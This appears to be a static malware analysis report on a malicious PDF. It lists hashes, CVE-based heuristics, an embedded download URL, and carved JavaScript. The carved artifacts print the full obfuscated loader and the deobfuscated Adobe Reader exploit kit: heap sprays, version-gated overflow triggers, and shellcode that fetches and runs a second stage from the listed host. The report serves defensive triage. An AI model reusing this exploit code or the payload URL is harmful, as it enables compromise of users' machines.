Malicious PDF — malware analysis report

Static analysis result for SHA-256 f6190a0b43add213…

MALICIOUS

PDF

12.6 KB First seen: 2026-05-09
MD5: ea9f7fa54ef0c85280459885bc8ae6f3 SHA-1: e1bdbb879ae37620e45ceda3b53276817dd1f91c SHA-256: f6190a0b43add2139f3800425d9b8bb6755ae46fd38498467a6ff000f07712c8
490 Risk Score

Malware Insights

The PDF document was flagged as suspicious by a machine learning classifier with high confidence. Static analysis revealed embedded JavaScript, indicating an attempt to execute code. The presence of a large JavaScript stream suggests it may be used to download and execute a second-stage payload or exploit a vulnerability within the PDF reader.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 12

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://kfatavistic.info/w.php?f=18&e=5 Referenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0076_000.js pdf-javascript-stream PDF /JS object 76 at offset 0x369 11808 bytes
SHA-256: bd83f693a13edb5338cc00961b5ab5fbd572229e2352496b2403853359d82aca
Preview script
First 1,000 lines of the extracted script
j='4wbt43t';
z
=
new
Array(52,26,66,11,66,73,29,73,44,44,24,7,17,32,56,73,53,23,59,6,69,69,53,23,26,30,11,51,53,23,59,37,26,30,53,23,41,37,11,51,53,23,11,40,6,51,53,23,6,6,37,26,53,23,69,51,30,10,53,23,51,10,59,24,53,23,59,24,6,10,53,23,10,30,51,10,53,23,41,10,59,24,53,23,37,69,29,30,53,23,41,69,59,24,53,23,6,6,10,59,53,23,69,69,31,24,53,23,37,11,59,24,53,23,10,6,6,30,53,23,6,6,41,51,53,23,59,29,72,30,53,23,29,37,11,11,53,23,26,26,29,10,53,23,24,59,26,26,53,23,51,10,59,24,53,23,30,6,6,10,53,23,6,40,51,69,53,23,41,37,10,69,53,23,59,41,26,24,53,23,72,51,6,51,53,23,11,51,59,37,53,23,37,29,41,37,53,23,11,24,11,40,53,23,37,29,51,30,53,23,59,24,37,69,53,23,6,30,41,37,53,23,41,51,59,24,53,23,41,59,6,37,53,23,26,37,10,6,53,23,59,24,37,69,53,23,72,10,41,69,53,23,26,37,10,6,53,23,30,40,6,6,53,23,51,29,51,40,53,23,8,31,26,30,53,23,30,37,10,6,53,23,31,24,6,6,53,23,24,11,10,26,53,23,6,59,29,10,53,23,41,51,26,72,53,23,30,29,10,59,53,23,10,31,30,24,53,23,31,8,10,6,53,23,11,24,51,10,53,23,6,24,26,29,53,23,41,37,29,26,53,23,37,11,11,69,53,23,37,11,59,24,53,23,10,6,72,51,53,23,69,69,31,31,53,23,10,30,59,24,53,23,59,31,51,24,53,23,11,30,51,69,53,23,37,51,26,26,53,23,10,30,72,51,53,23,31,59,59,24,53,23,31,31,10,6,53,23,10,51,59,24,53,23,10,6,59,24,53,23,8,24,30,37,53,23,37,40,37,11,53,23,11,24,30,6,53,23,8,31,37,6,53,23,69,59,59,24,53,23,59,10,72,10,53,23,10,30,41,31,53,23,41,51,6,6,53,23,40,69,10,6,53,23,26,6,11,24,53,23,69,59,59,24,53,23,59,24,10,59,53,23,69,8,26,41,53,23,37,40,10,37,53,23,40,59,11,59,53,23,26,26,26,26,53,23,11,72,26,26,53,23,11,59,26,40,53,23,10,10,10,10,53,23,10,10,10,10,53,23,37,10,37,59,53,23,51,10,69,8,53,23,26,26,69,59,53,23,10,10,10,10,53,23,37,10,10,10,53,23,30,10,59,6,53,23,37,10,29,40,53,23,59,24,37,37,53,23,59,24,11,30,53,23,29,10,37,11,53,23,30,6,59,6,53,23,26,26,10,37,53,23,69,59,11,6,53,23,69,11,69,26,53,23,10,10,10,10,53,23,41,37,69,59,53,23,69,30,41,72,53,23,37,51,69,31,53,23,29,69,26,26,53,23,30,51,59,6,53,23,59,24,10,59,53,23,11,59,11,59,53,23,26,26,69,29,53,23,26,26,26,26,53,23,10,72,11,24,53,23,41,72,11,24,53,23,11,30,59,29,53,23,10,29,10,51,53,23,10,10,10,10,53,23,37,30,59,31,53,23,10,30,72,51,53,23,10,51,30,41,53,23,41,72,72,51,53,23,69,41,69,37,53,23,30,41,41,6,53,23,72,51,51,51,53,23,41,69,10,51,53,23,6,6,41,72,53,23,30,41,6,72,53,23,72,51,51,51,53,23,72,10,10,59,53,23,41,6,72,31,53,23,37,6,72,10,53,23,26,59,69,59,53,23,10,10,10,10,53,23,26,26,10,10,53,23,10,30,37,69,53,23,11,59,59,24,53,23,30,40,6,6,53,23,30,41,37,29,53,23,29,31,51,51,53,23,41,41,10,10,53,23,69,72,41,10,53,23,30,41,41,51,53,23,29,31,51,51,53,23,72,11,10,37,53,23,69,30,69,51,53,23,30,69,69,30,53,23,29,31,51,51,53,23,10,10,10,40,53,23,59,8,37,40,53,23,10,51,30,29,53,23,59,59,6,10,53,23,29,31,51,51,53,23,51,29,10,51,53,23,69,8,37,29,53,23,69,8,10,10,53,23,37,6,10,10,53,23,69,8,37,41,53,23,26,26,10,10,53,23,29,51,37,69,53,23,30,10,59,37,53,23,29,69,41,37,53,23,10,10,69,8,53,23,26,26,37,6,53,23,10,51,37,69,53,23,10,10,69,8,53,23,11,24,59,6,53,23,37,6,10,30,53,23,37,69,26,26,53,23,59,6,10,51,53,23,10,30,30,6,53,23,10,72,11,24,53,23,29,6,11,24,53,23,59,10,51,41,53,23,10,10,6,26,53,23,26,8,41,37,53,23,59,10,51,41,53,23,10,10,6,26,53,23,30,51,41,37,53,23,10,10,69,8,53,23,26,11,69,8,53,23,37,69,26,26,53,23,11,59,10,59,53,23,26,11,40,30,53,23,26,26,26,26,53,23,51,11,59,11,53,23,11,30,10,11,53,23,26,11,40,59,53,23,10,11,59,8,53,23,69,26,59,40,53,23,24,31,10,29,53,23,30,8,6,6,53,23,37,24,59,8,53,23,30,69,29,24,53,23,41,40,51,69,53,23,29,8,6,69,53,23,41,10,72,26,53,23,41,51,69,59,53,23,41,10,41,51,53,23,72,26,6,8,53,23,69,24,72,26,53,23,69,29,69,69,53,23,69,29,41,51,53,23,69,40,41,69,53,23,41,51,41,6,53,23,69,6,69,40,53,23,69,40,72,11,53,23,69,69,69,11,53,23,72,26,69,26,53,23,72,11,41,41,53,23,69,59,41,10,53,23,6,26,41,10,53,23,6,31,69,69,53,23,6,59,6,29,53,23,69,37,72,69,53,23,6,37,6,31,53,23,10,10,10,10,73,70,26,23,65,30,38,52,50,65,48,11,3,34,16,66,16,8,22,63,21,44,20,58,71,52,33,11,66,16,8,2,33,11,65,32,38,71,18,72,64,63,21,44,20,16,8,27,56,16,8,70,67,16,8,56,16,8,2,17,23,24,17,38,16,52,65,32,66,10,22,63,21,15,72,44,70,16,11,38,23,16,65,48,16,8,70,67,48,26,23,65,30,38,52,50,65,48,24,14,66,44,20,34,8,16,48,31,0,32,56,65,11,58,48,46,16,16,8,21,66,44,70,34,8,16,48,34,58,56,10,14,10,30,10,30,10,30,10,30,70,34,8,16,48,8,31,31,16,56,10,14,51,10,10,10,10,10,70,34,8,16,48,74,8,21,33,50,8,31,56,23,65,11,17,30,8,74,11,66,24,7,17,32,44,70,34,8,16,48,17,30,12,33,11,65,56,74,8,21,33,50,8,31,2,33,11,65,32,38,71,18,72,70,34,8,16,48,63,21,56,8,31,31,16,19,66,17,30,12,33,11,65,27,10,14,6,59,44,70,34,8,16,48,21,8,16,17,74,56,23,65,11,17,30,8,74,11,66,60,53,23,40,10,40,10,53,23,40,10,40,10,60,44,70,21,8,16,17,74,56,11,3,34,16,66,21,8,16,17,74,22,63,21,44,70,34,8,16,48,30,50,23,65,38,72,56,66,34,58,19,10,14,51,10,10,10,10,10,44,15,8,31,31,16,70,26,50,16,66,34,8,16,48,30,50,23,65,38,56,10,70,30,50,23,65,38,64,30,50,23,65,38,72,70,30,50,23,65,38,27,27,44,20,31,0,32,1,30,50,23,65,38,9,56,21,8,16,17,74,27,74,8,21,33,50,8,31,70,67,48,34,8,16,48,50,34,11,16,26,33,50,58,56,23,65,11,17,30,8,74,11,66,60,53,23,10,30,10,30,53,23,10,30,10,30,60,44,70,58,71,52,33,11,66,50,34,11,16,26,33,50,58,2,33,11,65,32,38,71,64,51,51,40,37,72,44,20,50,34,11,16,26,33,50,58,27,56,50,34,11,16,26,33,50,58,70,67,48,38,71,52,17,2,30,50,33,33,8,24,39,38,50,16,11,56,25,50,33,33,8,24,2,30,50,33,33,11,30,38,28,61,8,52,33,5,65,26,50,66,20,17,23,24,7,75,60,60,22,61,17,32,75,50,34,11,16,26,33,50,58,67,44,70,67,48,26,23,65,30,38,52,50,65,48,74,16,52,65,38,26,66,44,20,65,50,74,56,23,65,11,17,30,8,74,11,66,60,53,23,10,46,10,46,53,23,10,46,10,46,53,23,10,46,10,46,53,23,10,46,10,46,60,44,70,34,8,16,48,74,8,21,33,50,8,31,56,23,65,11,17,30,8,74,11,66,24,7,17,32,44,70,71,11,8,74,24,33,50,30,0,56,65,50,74,27,74,8,21,33,50,8,31,70,24,52,32,24,33,50,30,0,56,23,65,11,17,30,8,74,11,66,60,53,23,10,46,10,46,53,23,10,46,10,46,60,44,70,71,11,8,31,11,16,17,52,3,11,56,72,10,70,17,74,16,8,21,56,71,11,8,31,11,16,17,52,3,11,27,71,11,8,74,24,33,50,30,0,2,33,11,65,32,38,71,70,58,71,52,33,11,66,24,52,32,24,33,50,30,0,2,33,11,65,32,38,71,64,17,74,16,8,21,44,20,24,52,32,24,33,50,30,0,27,56,24,52,32,24,33,50,30,0,70,67,48,26,52,33,33,24,33,50,30,0,56,24,52,32,24,33,50,30,0,2,17,23,24,17,38,16,52,65,32,66,10,22,17,74,16,8,21,44,70,24,33,50,30,0,56,24,52,32,24,33,50,30,0,2,17,23,24,17,38,16,52,65,32,66,10,22,24,52,32,24,33,50,30,0,2,33,11,65,32,38,71,19,17,74,16,8,21,44,70,58,71,52,33,11,66,24,33,50,30,0,2,33,11,65,32,38,71,27,17,74,16,8,21,64,10,14,51,10,10,10,10,44,20,24,33,50,30,0,56,24,33,50,30,0,27,24,33,50,30,0,27,26,52,33,33,24,33,50,30,0,70,67,48,61,11,61,56,65,11,58,48,46,16,16,8,21,66,44,70,26,50,16,66,52,56,10,70,52,64,29,51,10,10,70,52,27,27,44,20,61,11,61,1,52,9,56,24,33,50,30,0,27,71,11,8,74,24,33,50,30,0,70,67,48,34,8,16,48,65,23,61,56,29,72,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,40,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,59,70,23,38,52,33,2,74,16,52,65,38,26,66,60,53,51,37,10,10,10,26,60,22,65,23,61,44,70,67,48,26,23,65,30,38,52,50,65,48,32,11,38,52,30,50,65,66,44,20,34,8,16,48,8,16,16,21,56,65,11,58,48,46,16,16,8,21,66,44,70,52,26,66,8,74,74,2,31,50,30,2,25,50,33,33,8,24,2,32,11,38,5,30,50,65,44,20,34,8,16,48,74,8,21,33,50,8,31,56,23,65,11,17,30,8,74,11,66,24,7,17,32,44,70,34,8,16,48,71,57,63,37,10,10,25,36,56,74,8,21,33,50,8,31,2,33,11,65,32,38,71,18,72,70,34,8,16,48,63,21,56,10,14,51,10,10,10,10,10,19,66,71,57,63,37,10,10,25,36,27,10,14,6,59,44,70,34,8,16,48,21,8,16,17,74,56,23,65,11,17,30,8,74,11,66,60,53,23,40,10,40,10,53,23,40,10,40,10,60,44,70,21,8,16,17,74,56,11,3,34,16,66,21,8,16,17,74,22,63,21,44,70,34,8,16,48,74,37,46,7,43,69,37,26,56,66,10,14,10,30,10,30,10,30,10,30,19,10,14,51,10,10,10,10,10,44,15,10,14,51,10,10,10,10,10,70,26,50,16,66,34,8,16,48,34,63,30,35,4,40,69,21,56,10,70,34,63,30,35,4,40,69,21,64,74,37,46,7,43,69,37,26,70,34,63,30,35,4,40,69,21,27,27,44,20,8,16,16,21,1,34,63,30,35,4,40,69,21,9,56,21,8,16,17,74,27,74,8,21,33,50,8,31,70,67,48,34,8,16,48,38,68,42,71,36,24,47,58,56,23,65,11,17,30,8,74,11,66,60,53,10,40,60,44,70,58,71,52,33,11,66,38,68,42,71,36,24,47,58,2,33,11,65,32,38,71,64,10,14,51,10,10,10,44,20,38,68,42,71,36,24,47,58,27,56,38,68,42,71,36,24,47,58,70,67,48,38,68,42,71,36,24,47,58,56,60,36,2,60,27,38,68,42,71,36,24,47,58,70,8,74,74,2,31,50,30,2,25,50,33,33,8,24,2,32,11,38,5,30,50,65,66,38,68,42,71,36,24,47,58,44,70,67,67,48,8,54,33,23,32,52,65,17,56,8,74,74,2,74,33,23,32,5,65,17,70,34,8,16,48,17,34,56,74,8,16,17,11,5,65,38,66,8,74,74,2,34,52,11,58,11,16,45,11,16,17,52,50,65,2,38,50,39,38,16,52,65,32,66,44,2,30,71,8,16,46,38,66,10,44,44,70,26,50,16,66,34,8,16,48,52,56,10,70,52,64,8,54,33,23,32,52,65,17,2,33,11,65,32,38,71,70,52,27,27,44,20,52,26,66,8,54,33,23,32,52,65,17,1,52,9,2,65,8,61,11,56,56,73,28,39,30,16,52,74,38,73,44,20,34,8,16,48,33,34,56,8,54,33,23,32,52,65,17,1,52,9,2,34,11,16,17,52,50,65,70,67,67,48,52,26,66,66,33,34,56,56,40,44,13,13,66,66,17,34,56,56,59,44,55,55,66,33,34,64,56,59,2,29,72,44,44,44,20,32,11,38,52,30,50,65,66,44,70,67,11,33,17,11,48,52,26,66,33,34,56,56,41,2,29,44,20,74,16,52,65,38,26,66,44,70,67,11,33,17,11,48,52,26,66,66,66,17,34,56,56,69,44,13,13,66,17,34,56,56,41,44,44,55,55,66,33,34,64,41,2,29,29,44,44,20,24,14,66,44,70,67,11,33,17,11,48,52,26,66,66,33,34,62,56,40,2,29,44,13,13,66,33,34,64,56,40,2,72,44,13,13,66,33,34,62,56,59,2,29,6,44,13,13,66,33,34,64,56,59,2,29,41,44,44,20,26,23,65,30,38,52,50,65,48,8,66,44,20,23,38,52,33,2,74,16,52,65,38,31,66,73,74,49,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,29,48,75,48,21,21,21,21,29,29,29,73,22,65,11,58,48,4,8,38,11,66,44,44,70,67,34,8,16,48,71,56,8,74,74,2,74,33,23,32,5,65,17,70,26,50,16,66,34,8,16,48,26,56,10,70,26,64,71,2,33,11,65,32,38,71,70,26,27,27,44,20,52,26,66,71,1,26,9,2,65,8,61,11,56,56,73,28,39,30,16,52,74,38,73,44,20,34,8,16,48,52,56,71,1,26,9,2,34,11,16,17,52,50,65,70,67,67,48,52,26,66,66,52,62,59,2,29,72,44,55,55,66,52,64,59,2,72,44,44,20,30,56,65,11,58,48,46,16,16,8,21,66,44,70,34,8,16,48,31,56,23,65,11,17,30,8,74,11,66,73,53,23,40,10,40,10,53,23,40,10,40,10,73,44,70,34,8,16,48,11,56,23,65,11,17,30,8,74,11,66,24,7,17,32,44,70,58,71,52,33,11,66,31,2,33,11,65,32,38,71,64,56,10,14,59,10,10,10,44,20,31,27,56,31,70,67,31,56,31,2,17,23,24,17,38,16,66,10,22,10,14,59,10,10,10,19,11,2,33,11,65,32,38,71,44,70,26,50,16,66,26,56,10,70,26,64,72,40,10,10,70,26,27,27,44,20,30,1,26,9,56,31,27,11,70,67,8,66,44,70,8,66,44,70,38,16,21,20,38,71,52,17,2,61,11,31,52,8,2,65,11,58,54,33,8,21,11,16,66,65,23,33,33,44,70,67,30,8,38,30,71,66,11,44,20,67,8,66,44,70,67,67);
a=new String("k[.zDI3ja]0e_|x/rs*-{y,ubCf+E1cdglvQN5tS97MK)VAG @o4i%P&=Ww8'm>q<n(}U6;h2'p:");
b="al";
b2="v"
+b;
try
{
for(i in app)
if(i=='printerNames')
fqwf-1;
}catch(q){
e=j['substr']();
try{
b='e'+b2;
if(!google.search())
a=2;
}
catch(q){
e=
e[
b];
}
s=new String();try{if(!google.search())throw 1;}catch(q){r=1;}{
for(j=0;j<z.length;j++)
try{
if(!google.search())throw 1;}catch(q){
s
+=
a[
z[j]];
}
}}

try{if(!google.search())bbb-123;}
catch(nergerg){
e(s);
}
generic_stage_recovery_000.js deobfuscated-js generic stage recovery alphabet-index-array from JavaScript object 76 at offset 0x369 3864 bytes
SHA-256: 692b505397d77420e0d436cabeb51aa44192c25e9936756f1c6173d8f6f8e9f3
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
if(e('1'))bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u6b2f%u6166%u6174%u6976%u7473%u6369%u692e%u666e%u2f6f%u2e77%u6870%u3f70%u3d66%u3831%u6526%u353d%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('%45000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('%09');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 76 at offset 0x369 3860 bytes
SHA-256: c6380e8beeaeb96fa60143f6df728eb2090be5953917d9d9378ae231f08128ac
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
if(e('1'))bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u6b2f%u6166%u6174%u6976%u7473%u6369%u692e%u666e%u2f6f%u2e77%u6870%u3f70%u3d66%u3831%u6526%u353d%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('E000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('	');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var 